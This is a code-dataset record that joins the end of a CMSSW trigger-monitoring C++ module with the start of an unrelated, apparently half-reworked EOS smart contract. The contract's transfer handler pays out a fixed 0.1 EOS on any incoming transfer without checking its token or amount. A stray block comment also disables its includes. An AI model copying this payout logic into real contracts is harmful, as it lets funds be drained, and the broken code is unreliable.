iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,-plotPhiMax,plotPhiMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      phiHistIsoMatchReco.push_back(tmpiso);\n\n      //--------------------\n      // 2D plot: Isolation values vs X for HLT object that\n      // is closest delta-R match to sorted reco particle(s)\n      //--------------------\n\n      // X = eta\n      histName  = theHLTCollectionLabels[i].label()+\"eta_isolation_reco\";\n      histTitle = HltHistTitle[i]+\" isolation vs #eta (reco)\";\n      tmpiso    = iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,-plotEtaMax,plotEtaMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      histEtaIsoOfHltObjMatchToReco.push_back(tmpiso);\n\n      // X = et\n      histName  = theHLTCollectionLabels[i].label()+\"et_isolation_reco\";\n      histTitle = HltHistTitle[i]+\" isolation vs Et (reco)\";\n      tmpiso    = iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,plotPtMin,plotPtMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      histEtIsoOfHltObjMatchToReco.push_back(tmpiso);\n\n      // X = phi\n      histName  = theHLTCollectionLabels[i].label()+\"phi_isolation_reco\";\n      histTitle = HltHistTitle[i]+\" isolation vs #phi (reco)\";\n      tmpiso    = iBooker.book2D(histName.c_str(),histTitle.c_str(),plotBins,-plotPhiMax,plotPhiMax,plotBins,plotBounds[i].first,plotBounds[i].second);\n      histPhiIsoOfHltObjMatchToReco.push_back(tmpiso);\n      //--------------------\n\n    } // END of HLT histograms\n  }\n}\n\n\n////////////////////////////////////////////////////////////////////////////////\n//                                Destructor                                  //\n////////////////////////////////////////////////////////////////////////////////\nEmDQMReco::~EmDQMReco(){\n}\n\n\n////////////////////////////////////////////////////////////////////////////////\n//                     method called to for each event                        //\n////////////////////////////////////////////////////////////////////////////////\nvoid\nEmDQMReco::analyze(const edm::Event & event , const edm::EventSetup& setup)\n{\n\n  // protect from hlt config failure\n  if( !isHltConfigInitialized_ ) return;\n\n  eventnum++;\n  bool plotMonpath = false;\n  bool plotReco = true;\n\n  edm::Handle<edm::View<reco::Candidate> > recoObjects;\n  edm::Handle<std::vector<reco::SuperCluster> > recoObjectsEB;\n  edm::Handle<std::vector<reco::SuperCluster> > recoObjectsEE;\n\n  if (pdgGen == 11) {\n\n    event.getByToken(recoElectronsInput, recoObjects);\n\n    if (recoObjects->size() < (unsigned int)recocut_) {\n      // edm::LogWarning(\"EmDQMReco\") << \"Less than \"<< recocut_ <<\" Reco particles with pdgId=\" << pdgGen << \".  Only \" << cutRecoCounter->size() << \" particles.\";\n      return;\n    }\n  } else if (pdgGen == 22) {\n\n    event.getByToken(recoObjectsEBT, recoObjectsEB);\n    event.getByToken(recoObjectsEET, recoObjectsEE);\n\n    if (recoObjectsEB->size() + recoObjectsEE->size() < (unsigned int)recocut_) {\n      // edm::LogWarning(\"EmDQMReco\") << \"Less than \"<< recocut_ <<\" Reco particles with pdgId=\" << pdgGen << \".  Only \" << cutRecoCounter.size() << \" particles.\";\n      return;\n    }\n  }\n\n  edm::Handle<edm::TriggerResults> HLTR;\n  event.getByToken(hltResultsT, HLTR);\n\n  ///\n  /// NOTE:\n  /// hltConfigProvider initialization has been moved to beginRun()\n  ///\n\n  /* if (theHLTCollectionHumanNames[0] == \"hltL1sRelaxedSingleEgammaEt8\"){\n    triggerIndex = hltConfig.triggerIndex(\"HLT_L1SingleEG8\");\n  } else if (theHLTCollectionHumanNames[0] == \"hltL1sRelaxedSingleEgammaEt5\") {\n    triggerIndex = hltConfig.triggerIndex(\"HLT_L1SingleEG5\");\n  } else if (theHLTCollectionHumanNames[0] == \"hltL1sRelaxedDoubleEgammaEt5\") {\n    triggerIndex = hltConfig.triggerIndex(\"HLT_L1DoubleEG5\");\n  } else {\n    triggerIndex = hltConfig.triggerIndex(\"\");\n    } */\n\n  unsigned int triggerIndex;\n  triggerIndex = hltConfig_.triggerIndex(triggerNameRecoMonPath);\n\n  //triggerIndex must be less than the size of HLTR or you get a CMSException\n  bool isFired = false;\n  if (triggerIndex < HLTR->size()){\n    isFired = HLTR->accept(triggerIndex);\n  }\n\n  // fill L1 and HLT info\n  // get objects possed by each filter\n  edm::Handle<trigger::TriggerEventWithRefs> triggerObj;\n  event.getByToken(triggerObjT, triggerObj);\n\n  if(!triggerObj.isValid()) {\n    edm::LogWarning(\"EmDQMReco\") << \"RAW-type HLT results not found, skipping event\";\n    return;\n  }\n\n  ////////////////////////////////////////////////////////////\n  //  Fill the bin labeled \"Total\"                          //\n  //   This will be the number of events looked at.         //\n  ////////////////////////////////////////////////////////////\n  totalreco->Fill(numOfHLTCollectionLabels+0.5);\n  totalmatchreco->Fill(numOfHLTCollectionLabels+.5);\n\n  ////////////////////////////////////////////////////////////\n  //  Fill the bin labeled \"Total\"                          //\n  //   This will be the number of events looked at.         //\n  ////////////////////////////////////////////////////////////\n  //total->Fill(numOfHLTCollectionLabels+0.5);\n  //totalmatch->Fill(numOfHLTCollectionLabels+0.5);\n\n\n  ////////////////////////////////////////////////////////////\n  //               Fill reconstruction info                      //\n  ////////////////////////////////////////////////////////////\n  // the recocut_ highest Et generator objects of the preselected type are our matches\n\n  std::vector<reco::Particle> sortedReco;\n  if (plotReco == true) {\n    if (pdgGen == 11) {\n      for(edm::View<reco::Candidate>::const_iterator recopart = recoObjects->begin(); recopart != recoObjects->end();recopart++){\n        reco::Particle tmpcand(  recopart->charge(), recopart->p4(), recopart->vertex(),recopart->pdgId(),recopart->status() );\n        sortedReco.push_back(tmpcand);\n      }\n    }\n    else if (pdgGen == 22) {\n      for(std::vector<reco::SuperCluster>::const_iterator recopart2 = recoObjectsEB->begin(); recopart2 != recoObjectsEB->end();recopart2++){\n        float en = recopart2->energy();\n        float er = sqrt(pow(recopart2->x(),2) + pow(recopart2->y(),2) + pow(recopart2->z(),2) );\n        float px = recopart2->energy()*recopart2->x()/er;\n        float py = recopart2->energy()*recopart2->y()/er;\n        float pz = recopart2->energy()*recopart2->z()/er;\n        reco::Candidate::LorentzVector thisLV(px,py,pz,en);\n        reco::Particle tmpcand(  0, thisLV, math::XYZPoint(0.,0.,0.), 22, 1 );\n        sortedReco.push_back(tmpcand);\n      }\n      for(std::vector<reco::SuperCluster>::const_iterator recopart2 = recoObjectsEE->begin(); recopart2 != recoObjectsEE->end();recopart2++){\n        float en = recopart2->energy();\n        float er = sqrt(pow(recopart2->x(),2) + pow(recopart2->y(),2) + pow(recopart2->z(),2) );\n        float px = recopart2->energy()*recopart2->x()/er;\n        float py = recopart2->energy()*recopart2->y()/er;\n        float pz = recopart2->energy()*recopart2->z()/er;\n        reco::Candidate::LorentzVector thisLV(px,py,pz,en);\n        reco::Particle tmpcand(  0, thisLV, math::XYZPoint(0.,0.,0.), 22, 1 );\n        sortedReco.push_back(tmpcand);\n      }\n    }\n\n    std::sort(sortedReco.begin(),sortedReco.end(),pTComparator_ );\n\n    // Now the collection of gen particles is sorted by pt.\n    // So, remove all particles from the collection so that we\n    // only have the top \"1 thru recocut_\" particles in it\n\n    sortedReco.erase(sortedReco.begin()+recocut_,sortedReco.end());\n\n    for (unsigned int i = 0 ; i < recocut_ ; i++ ) {\n        //validity has been implicitily checked by the cut on recocut_ above\n        histReco->fill(sortedReco[i].p4());\n\n//      etreco ->Fill( sortedReco[i].et()  );\n//      etareco->Fill( sortedReco[i].eta() );\n//      phiReco->Fill( sortedReco[i].phi() );\n\n      if (isFired) {\n        histRecoMonpath->fill(sortedReco[i].p4());\n        plotMonpath = true;\n      }\n\n    } // END of loop over Reconstructed particles\n\n    if (recocut_ >= reqNum) totalreco->Fill(numOfHLTCollectionLabels+1.5); // this isn't really needed anymore keep for backward comp.\n    if (recocut_ >= reqNum) totalmatchreco->Fill(numOfHLTCollectionLabels+1.5); // this isn't really needed anymore keep for backward comp.\n\n  }\n\n\n\n\n   ////////////////////////////////////////////////////////////\n  //            Loop over filter modules                    //\n  ////////////////////////////////////////////////////////////\n  for(unsigned int n=0; n < numOfHLTCollectionLabels ; n++) {\n    // These numbers are from the Parameter Set, such as:\n    //   theHLTOutputTypes = cms.uint32(100)\n    switch(theHLTOutputTypes[n])\n    {\n      case trigger::TriggerL1NoIsoEG: // Non-isolated Level 1\n        histoFillerL1NonIso->fillHistos(triggerObj,event,n, sortedReco, plotReco, plotMonpath);\n\tbreak;\n      case trigger::TriggerL1IsoEG: // Isolated Level 1\n        histoFillerL1Iso->fillHistos(triggerObj,event,n, sortedReco, plotReco, plotMonpath);\n\tbreak;\n      case trigger::TriggerPhoton: // Photon\n        histoFillerPho->fillHistos(triggerObj,event,n, sortedReco, plotReco, plotMonpath);\n\tbreak;\n      case trigger::TriggerElectron: // Electron\n        histoFillerEle->fillHistos(triggerObj,event,n, sortedReco, plotReco, plotMonpath);\n\tbreak;\n      case trigger::TriggerCluster: // TriggerCluster\n        histoFillerClu->fillHistos(triggerObj,event,n, sortedReco, plotReco, plotMonpath);\n\tbreak;\n      default:\n        throw(cms::Exception(\"Release Validation Error\") << \"HLT output type not implemented: theHLTOutputTypes[n]\" );\n    }\n    } // END of loop over filter modules\n}\n\n\n////////////////////////////////////////////////////////////////////////////////\n// fillHistos                                                                 //\n//   Called by analyze method.                                                //\n////////////////////////////////////////////////////////////////////////////////\ntemplate <class T> void HistoFillerReco<T>::fillHistos(edm::Handle<trigger::TriggerEventWithRefs>& triggerObj,const edm::Event& iEvent ,unsigned int n, std::vector<reco::Particle>& sortedReco, bool plotReco, bool plotMonpath)\n{\n  std::vector<edm::Ref<T> > recoecalcands;\n  if ( ( triggerObj->filterIndex(dqm->theHLTCollectionLabels[n])>=triggerObj->size() )){ // only process if available\n    return;\n  }\n\n  ////////////////////////////////////////////////////////////\n  //      Retrieve saved filter objects                     //\n  ////////////////////////////////////////////////////////////\n  triggerObj->getObjects(triggerObj->filterIndex(dqm->theHLTCollectionLabels[n]),dqm->theHLTOutputTypes[n],recoecalcands);\n  //Danger: special case, L1 non-isolated\n  // needs to be merged with L1 iso\n  if (dqm->theHLTOutputTypes[n] == trigger::TriggerL1NoIsoEG){\n    std::vector<edm::Ref<T> > isocands;\n    triggerObj->getObjects(triggerObj->filterIndex(dqm->theHLTCollectionLabels[n]),trigger::TriggerL1IsoEG,isocands);\n    if (isocands.size()>0)\n      {\n        for (unsigned int i=0; i < isocands.size(); i++)\n          recoecalcands.push_back(isocands[i]);\n      }\n  } // END of if theHLTOutputTypes == 82\n\n\n  if (recoecalcands.size() < 1){ // stop if no object passed the previous filter\n    return;\n  }\n\n\n  if (recoecalcands.size() >= dqm->reqNum )\n    dqm->totalreco->Fill(n+0.5);\n\n\n  ///////////////////////////////////////////////////\n  // check for validity                            //\n  // prevents crash in CMSSW_3_1_0_pre6            //\n  ///////////////////////////////////////////////////\n  for (unsigned int j=0; j<recoecalcands.size(); j++){\n    if(!( recoecalcands.at(j).isAvailable())){\n      edm::LogError(\"EmDQMReco\") << \"Event content inconsistent: TriggerEventWithRefs contains invalid Refs\" << std::endl << \"invalid refs for: \" << dqm->theHLTCollectionLabels[n].label();\n      return;\n    }\n  }\n\n  ////////////////////////////////////////////////////////////\n  //  Loop over all HLT objects in this filter step, and    //\n  //  fill histograms.                                      //\n  ////////////////////////////////////////////////////////////\n  //  bool foundAllMatches = false;\n  //  unsigned int numOfHLTobjectsMatched = 0;\n  for (unsigned int i=0; i<recoecalcands.size(); i++) {\n\n    dqm->standardHist[n].fill(recoecalcands[i]->p4());\n\n    ////////////////////////////////////////////////////////////\n    //  Plot isolation variables (show the not-yet-cut        //\n    //  isolation, i.e. associated to next filter)            //\n    ////////////////////////////////////////////////////////////\n    if ( n+1 < dqm->numOfHLTCollectionLabels ) { // can't plot beyond last\n      if (dqm->plotiso[n+1]) {\n        for (unsigned int j =  0 ; j < isoNameTokens_.size() ;j++  ){\n          edm::Handle<edm::AssociationMap<edm::OneToValue< T , float > > > depMap;\n          iEvent.getByToken(isoNameTokens_.at(j),depMap);\n          if (depMap.isValid()){ //Map may not exist if only one candidate passes a double filter\n            typename edm::AssociationMap<edm::OneToValue< T , float > >::const_iterator mapi = depMap->find(recoecalcands[i]);\n            if (mapi!=depMap->end()){  // found candidate in isolation map!\n              dqm->etahistiso[n+1]->Fill(recoecalcands[i]->eta(),mapi->val);\n              dqm->ethistiso[n+1]->Fill(recoecalcands[i]->et()  ,mapi->val);\n              dqm->phiHistIso[n+1]->Fill(recoecalcands[i]->phi(),mapi->val);\n      }\n    }\n  }\n      }\n    } // END of if n+1 < then the number of hlt collections\n  }\n\n  ////////////////////////////////////////////////////////////\n  // Loop over the Reconstructed Particles, and find the        //\n  // closest HLT object match.                              //\n  ////////////////////////////////////////////////////////////\n  if (plotReco == true) {\n    for (unsigned int i=0; i < dqm->recocut_; i++) {\n      math::XYZVector currentRecoParticleMomentum = sortedReco[i].momentum();\n\n      // float closestRecoDeltaR = 0.5;\n      float closestRecoDeltaR = 1000.;\n      int closestRecoEcalCandIndex = -1;\n      for (unsigned int j=0; j<recoecalcands.size(); j++) {\n        float deltaR = DeltaR(recoecalcands[j]->momentum(),currentRecoParticleMomentum);\n\n        if (deltaR < closestRecoDeltaR) {\n          closestRecoDeltaR = deltaR;\n          closestRecoEcalCandIndex = j;\n        }\n    }\n\n      // If an HLT object was found within some delta-R\n      // of this reco particle, store it in a histogram\n      if ( closestRecoEcalCandIndex >= 0 ) {\n//        histEtOfHltObjMatchToReco[n] ->Fill( recoecalcands[closestRecoEcalCandIndex]->et()  );\n//        histEtaOfHltObjMatchToReco[n]->Fill( recoecalcands[closestRecoEcalCandIndex]->eta() );\n//        histPhiOfHltObjMatchToReco[n]->Fill( recoecalcands[closestRecoEcalCandIndex]->phi() );\n\n          dqm->histHltObjMatchToReco[n].fill(recoecalcands[closestRecoEcalCandIndex]->p4());\n\n        // Also store isolation info\n        if (n+1 < dqm->numOfHLTCollectionLabels){ // can't plot beyond last\n          if (dqm->plotiso[n+1] ){  // only plot if requested in config\n            for (unsigned int j =  0 ; j < isoNameTokens_.size() ;j++  ){\n              edm::Handle<edm::AssociationMap<edm::OneToValue< T , float > > > depMap;\n              iEvent.getByToken(isoNameTokens_.at(j),depMap);\n              if (depMap.isValid()){ //Map may not exist if only one candidate passes a double filter\n                typename edm::AssociationMap<edm::OneToValue< T , float > >::const_iterator mapi = depMap->find(recoecalcands[closestRecoEcalCandIndex]);\n                if (mapi!=depMap->end()) {  // found candidate in isolation map!\n                  dqm->histEtaIsoOfHltObjMatchToReco[n+1]->Fill( recoecalcands[closestRecoEcalCandIndex]->eta(),mapi->val);\n                  dqm->histEtIsoOfHltObjMatchToReco[n+1] ->Fill( recoecalcands[closestRecoEcalCandIndex]->et(), mapi->val);\n                  dqm->histPhiIsoOfHltObjMatchToReco[n+1] ->Fill( recoecalcands[closestRecoEcalCandIndex]->phi(), mapi->val);\n                }\n              }\n            }\n          }\n        }\n      } // END of if closestEcalCandIndex >= 0\n    }\n\n    ////////////////////////////////////////////////////////////\n    //        Fill reco matched objects into histograms         //\n    ////////////////////////////////////////////////////////////\n    unsigned int mtachedRecoParts = 0;\n    float minrecodist=0.3;\n    if(n==0) minrecodist=0.5; //low L1-resolution => allow wider matching\n    for(unsigned int i =0; i < dqm->recocut_; i++){\n      //match generator candidate\n      bool matchThis= false;\n      math::XYZVector candDir=sortedReco[i].momentum();\n      unsigned int closest = 0;\n      double closestDr = 1000.;\n      for(unsigned int trigOb = 0 ; trigOb < recoecalcands.size(); trigOb++){\n        double dr = DeltaR(recoecalcands[trigOb]->momentum(),candDir);\n        if (dr < closestDr) {\n          closestDr = dr;\n          closest = trigOb;\n        }\n        if (closestDr > minrecodist) { // it's not really a \"match\" if it's that far away\n          closest = -1;\n        } else {\n          mtachedRecoParts++;\n          matchThis = true;\n        }\n      }\n      if ( !matchThis ) continue; // only plot matched candidates\n      // fill coordinates of mc particle matching trigger object\n//      ethistmatchreco[n] ->Fill( sortedReco[i].et()  );\n//      etahistmatchreco[n]->Fill( sortedReco[i].eta() );\n//      phiHistMatchReco[n]->Fill( sortedReco[i].phi() );\n      dqm->histMatchReco[n].fill(sortedReco[i].p4());\n\n      if (plotMonpath) {\n//        ethistmatchrecomonpath[n]->Fill( sortedReco[i].et() );\n//        etahistmatchrecomonpath[n]->Fill( sortedReco[i].eta() );\n//        phiHistMatchRecoMonPath[n]->Fill( sortedReco[i].phi() );\n          dqm->histMatchRecoMonPath[n].fill(sortedReco[i].p4());\n\n      }\n      ////////////////////////////////////////////////////////////\n      //  Plot isolation variables (show the not-yet-cut        //\n      //  isolation, i.e. associated to next filter)            //\n      ////////////////////////////////////////////////////////////\n      if (n+1 < dqm->numOfHLTCollectionLabels){ // can't plot beyond last\n        if (dqm->plotiso[n+1] ){  // only plot if requested in config\n          for (unsigned int j =  0 ; j < isoNameTokens_.size() ;j++  ){\n            edm::Handle<edm::AssociationMap<edm::OneToValue< T , float > > > depMapReco;\n            iEvent.getByToken(isoNameTokens_.at(j),depMapReco);\n            if (depMapReco.isValid()){ //Map may not exist if only one candidate passes a double filter\n              typename edm::AssociationMap<edm::OneToValue< T , float > >::const_iterator mapi = depMapReco->find(recoecalcands[closest]);\n              if (mapi!=depMapReco->end()){  // found candidate in isolation map!\n                dqm->etahistisomatchreco[n+1]->Fill(sortedReco[i].eta(),mapi->val);\n                dqm->ethistisomatchreco[n+1]->Fill(sortedReco[i].et(),mapi->val);\n                dqm->phiHistIsoMatchReco[n+1]->Fill(sortedReco[i].eta(),mapi->val);\n              }\n            }\n          }\n        }\n      } // END of if n+1 < then the number of hlt collections\n    }\n    // fill total reco matched efficiency\n    if (mtachedRecoParts >= dqm->reqNum )\n     dqm-> totalmatchreco->Fill(n+0.5);\n  }\n\n}\n\n\n////////////////////////////////////////////////////////////////////////////////\n//      method called once each job just after ending the event loop          //\n////////////////////////////////////////////////////////////////////////////////\nvoid EmDQMReco::endJob(){\n\n}\n\nDEFINE_FWK_MODULE(EmDQMReco);\n", "meta": {"hexsha": "6b0f7d207e6b10ef934d9fcb4f60d28929af482e", "size": 40953, "ext": "cc", "lang": "C++", "max_stars_repo_path": "HLTriggerOffline/Egamma/src/EmDQMReco.cc", "max_stars_repo_name": "pasmuss/cmssw", "max_stars_repo_head_hexsha": "566f40c323beef46134485a45ea53349f59ae534", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "HLTriggerOffline/Egamma/src/EmDQMReco.cc", "max_issues_repo_name": "pasmuss/cmssw", "max_issues_repo_head_hexsha": "566f40c323beef46134485a45ea53349f59ae534", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "HLTriggerOffline/Egamma/src/EmDQMReco.cc", "max_forks_repo_name": "pasmuss/cmssw", "max_forks_repo_head_hexsha": "566f40c323beef46134485a45ea53349f59ae534", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.5033333333, "max_line_length": 225, "alphanum_fraction": 0.5892852782, "num_tokens": 10327, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.27512972382317524, "lm_q1q2_score": 0.13971413797326926}}
{"text": "#include \"EOSPixels.hpp\"\n#include <utility>\n#include <vector>\n#include <string>\n\n#include <cmath>\n#include <eosiolib/action.hpp>\n#include <eosiolib/asset.hpp>\n\n#include <eosiolib/time.hpp>\n#include <eosiolib/asset.hpp>\n#include <eosiolib/contract.hpp>\n#include <eosiolib/types.hpp>\n#include <eosiolib/transaction.hpp>\n#include <eosiolib/crypto.h>\n#include <boost/algorithm/string.hpp>\n\n/*\n#include <stdlib.h>\n#define SHA256_ROTL(a,b) (((a>>(32-b))&(0x7fffffff>>(31-b)))|(a<<b))\n#define SHA256_SR(a,b) ((a>>b)&(0x7fffffff>>(b-1)))\n#define SHA256_Ch(x,y,z) ((x&y)^((~x)&z))\n#define SHA256_Maj(x,y,z) ((x&y)^(x&z)^(y&z))\n#define SHA256_E0(x) (SHA256_ROTL(x,30)^SHA256_ROTL(x,19)^SHA256_ROTL(x,10))\n#define SHA256_E1(x) (SHA256_ROTL(x,26)^SHA256_ROTL(x,21)^SHA256_ROTL(x,7))\n#define SHA256_O0(x) (SHA256_ROTL(x,25)^SHA256_ROTL(x,14)^SHA256_SR(x,3))\n#define SHA256_O1(x) (SHA256_ROTL(x,15)^SHA256_ROTL(x,13)^SHA256_SR(x,10))\n\n\n#include \"memo.hpp\"\n#include \"types.hpp\"\n\nusing namespace eosio;\nusing namespace std;\n\n\nextern char* StrSHA256(const char* str, long long length, char* sha256){\n    \n    //\u8ba1\u7b97\u5b57\u7b26\u4e32SHA-256\n    //\u53c2\u6570\u8bf4\u660e\uff1a\n    //str         \u5b57\u7b26\u4e32\u6307\u9488\n    //length      \u5b57\u7b26\u4e32\u957f\u5ea6\n   // sha256         \u7528\u4e8e\u4fdd\u5b58SHA-256\u7684\u5b57\u7b26\u4e32\u6307\u9488\n    //\u8fd4\u56de\u503c\u4e3a\u53c2\u6570sha256\n    \n    char *pp, *ppend;\n    long l, i, W[64], T1, T2, A, B, C, D, E, F, G, H, H0, H1, H2, H3, H4, H5, H6, H7;\n    H0 = 0x6a09e667, H1 = 0xbb67ae85, H2 = 0x3c6ef372, H3 = 0xa54ff53a;\n    H4 = 0x510e527f, H5 = 0x9b05688c, H6 = 0x1f83d9ab, H7 = 0x5be0cd19;\n    long K[64] = {\n        0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,\n        0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,\n        0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,\n        0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,\n        0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n        0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,\n        0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,\n        0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2,\n    };\n    l = length + ((length % 64 > 56) ? (128 - length % 64) : (64 - length % 64));\n    if (!(pp = (char*)malloc((unsigned long)l))) return 0;\n    for (i = 0; i < length; pp[i + 3 - 2 * (i % 4)] = str[i], i++);\n    for (pp[i + 3 - 2 * (i % 4)] = 128, i++; i < l; pp[i + 3 - 2 * (i % 4)] = 0, i++);\n    *((long*)(pp + l - 4)) = length << 3;\n    *((long*)(pp + l - 8)) = length >> 29;\n    for (ppend = pp + l; pp < ppend; pp += 64){\n        for (i = 0; i < 16; W[i] = ((long*)pp)[i], i++);\n        for (i = 16; i < 64; W[i] = (SHA256_O1(W[i - 2]) + W[i - 7] + SHA256_O0(W[i - 15]) + W[i - 16]), i++);\n        A = H0, B = H1, C = H2, D = H3, E = H4, F = H5, G = H6, H = H7;\n        for (i = 0; i < 64; i++){\n            T1 = H + SHA256_E1(E) + SHA256_Ch(E, F, G) + K[i] + W[i];\n            T2 = SHA256_E0(A) + SHA256_Maj(A, B, C);\n            H = G, G = F, F = E, E = D + T1, D = C, C = B, B = A, A = T1 + T2;\n        }\n        H0 += A, H1 += B, H2 += C, H3 += D, H4 += E, H5 += F, H6 += G, H7 += H;\n    }\n    free(pp - l);\n    sprintf(sha256, \"%08X%08X%08X%08X%08X%08X%08X%08X\", H0, H1, H2, H3, H4, H5, H6, H7);\n    return sha256;\n}\n*/\n\ntemplate <uint64_t A, typename B, typename... C>\nvoid clear_table(multi_index<A, B, C...> *table, uint16_t limit) {\n  auto it = table->begin();\n  uint16_t count = 0;\n  while (it != table->end() && count < limit) {\n    it = table->erase(it);\n    count++;\n  }\n}\n\n\n\nvoid eospixels::clearpixels(uint16_t count, uint16_t nonce) {\n  require_auth(TEAM_ACCOUNT);\n\n  auto itr = canvases.begin();\n  eosio_assert(itr != canvases.end(), \"no canvas exists\");\n\n  pixel_store pixels(_self, itr->id);\n  clear_table(&pixels, count);\n}\n\n\nvoid eospixels::clearaccts(uint16_t count, uint16_t nonce) {\n  require_auth(TEAM_ACCOUNT);\n\n  clear_table(&accounts, count);\n}\n\nvoid eospixels::clearcanvs(uint16_t count, uint16_t nonce) {\n  require_auth(TEAM_ACCOUNT);\n\n  clear_table(&canvases, count);\n}\n\nvoid eospixels::resetquota() {\n  require_auth(TEAM_ACCOUNT);\n\n  auto guardItr = guards.begin();\n  if (guardItr == guards.end()) {\n    guards.emplace(_self, [&](guard &grd) {\n      grd.id = 0;\n      grd.quota = WITHDRAW_QUOTA;\n    });\n  } else {\n    guards.modify(guardItr, 0, [&](guard &grd) { grd.quota = WITHDRAW_QUOTA; });\n  }\n}\n\n// FIXME change allPixels to a reference?\nvoid eospixels::drawPixel(pixel_store &allPixels,\n                          const st_pixelOrder &pixelOrder,\n                          st_transferContext &ctx) {\n  auto loc = pixelOrder.location();\n\n  auto pixelRowItr = allPixels.find(loc.row);\n\n  // TODO extract this into its own method\n  // Emplace & initialize empty row if it doesn't already exist\n  bool hasRow = pixelRowItr != allPixels.end();\n  if (!hasRow) {\n    pixelRowItr = allPixels.emplace(_self, [&](pixel_row &pixelRow) {\n      pixelRow.row = loc.row;\n      pixelRow.initialize_empty_pixels();\n    });\n  }\n\n  auto pixels = pixelRowItr->pixels;\n  auto pixel = pixels[loc.col];\n\n  auto result = ctx.purchase(pixel, pixelOrder);\n  if (result.isSkipped) {\n    return;\n  }\n\n  allPixels.modify(pixelRowItr, 0, [&](pixel_row &pixelRow) {\n    pixelRow.pixels[loc.col] = {pixelOrder.color, pixel.nextPriceCounter(),\n                                ctx.purchaser};\n  });\n\n  if (!result.isFirstBuyer) {\n    deposit(pixel.owner, result.ownerEarningScaled);\n  }\n}\n\nbool eospixels::isValidReferrer(account_name name) {\n  auto it = accounts.find(name);\n\n  if (it == accounts.end()) {\n    return false;\n  }\n\n  // referrer must have painted at least one pixel\n  return it->pixelsDrawn > 0;\n}\n\n\n\n\n\n\nvoid eospixels::onTransfer(const currency::transfer &transfer) {\n  if (transfer.to != _self) return;\n  // eosio_assert(transfer.to == _self, \"yes!!\");\n\n  auto quantity = asset(1000, EOS_SYMBOL); // 1000 = 0.1 EOS\n  \n  auto accountItr = accounts.find(transfer.from);\n  eosio_assert(accountItr != accounts.end(),\n               \"account not registered to the game\");  \n  \n\n        auto s = read_transaction(nullptr, 0);\n        char *tx = (char *)malloc(s);\n        read_transaction(tx, s);\n        checksum256 tx_hash;\n        //string tx_hash =\"\";\n        sha256(tx, s, &tx_hash);\n\n  action(permission_level{_self, N(active)}, N(eosio.token), N(transfer),\n         std::make_tuple(_self, transfer.from, quantity,\n                         std::string(\"test\")))\n      .send();\n\n   auto player = *accountItr;\n   /*\n  accounts.modify(accountItr, 0, [&](account &acct) {\n    acct.betCount  += player.betCount++;\n    \n  });\n  */\n  //string_stream ss;\n  //save_to(ss, transfer);\n\n\n\n      /*\n\n \n  auto canvasItr = canvases.begin();\n  eosio_assert(canvasItr != canvases.end(), \"game not started\");\n  auto canvas = *canvasItr;\n  eosio_assert(!canvas.isEnded(), \"game ended\");\n\n  auto from = transfer.from;\n  auto accountItr = accounts.find(from);\n  eosio_assert(accountItr != accounts.end(),\n               \"account not registered to the game\");\n\n  pixel_store allPixels(_self, canvas.id);\n\n  auto memo = TransferMemo();\n  memo.parse(transfer.memo);\n\n  auto ctx = st_transferContext();\n  ctx.amountLeft = transfer.quantity.amount;\n  ctx.purchaser = transfer.from;\n  ctx.referrer = memo.referrer;\n\n  // Remove referrer if it is invalid\n  if (ctx.referrer != 0 &&\n      (ctx.referrer == from || !isValidReferrer(ctx.referrer))) {\n    ctx.referrer = 0;\n  }\n\n  // Every pixel has a \"fee\". For IPO the fee is the whole pixel price. For\n  // takeover, the fee is a percentage of the price increase.\n\n  for (auto &pixelOrder : memo.pixelOrders) {\n    drawPixel(allPixels, pixelOrder, ctx);\n  }\n\n  size_t paintSuccessPercent =\n      ctx.paintedPixelCount * 100 / memo.pixelOrders.size();\n  eosio_assert(paintSuccessPercent >= 80, \"Too many pixels did not paint.\");\n\n  if (ctx.amountLeft > 0) {\n    // Refund user with whatever is left over\n    deposit(from, ctx.amountLeftScaled());\n  }\n\n  ctx.updateFeesDistribution();\n\n  canvases.modify(canvasItr, 0, [&](auto &cv) {\n    cv.lastPaintedAt = now();\n    cv.lastPainter = from;\n\n    ctx.updateCanvas(cv);\n  });\n\n  accounts.modify(accountItr, 0,\n                  [&](account &acct) { ctx.updatePurchaserAccount(acct); });\n\n  if (ctx.hasReferrer()) {\n    deposit(ctx.referrer, ctx.referralEarningScaled);\n  }\n  */\n}\n\n\nvoid eospixels::end() {\n  // anyone can create new canvas\n  auto itr = canvases.begin();\n  eosio_assert(itr != canvases.end(), \"no canvas exists\");\n\n  auto c = *itr;\n  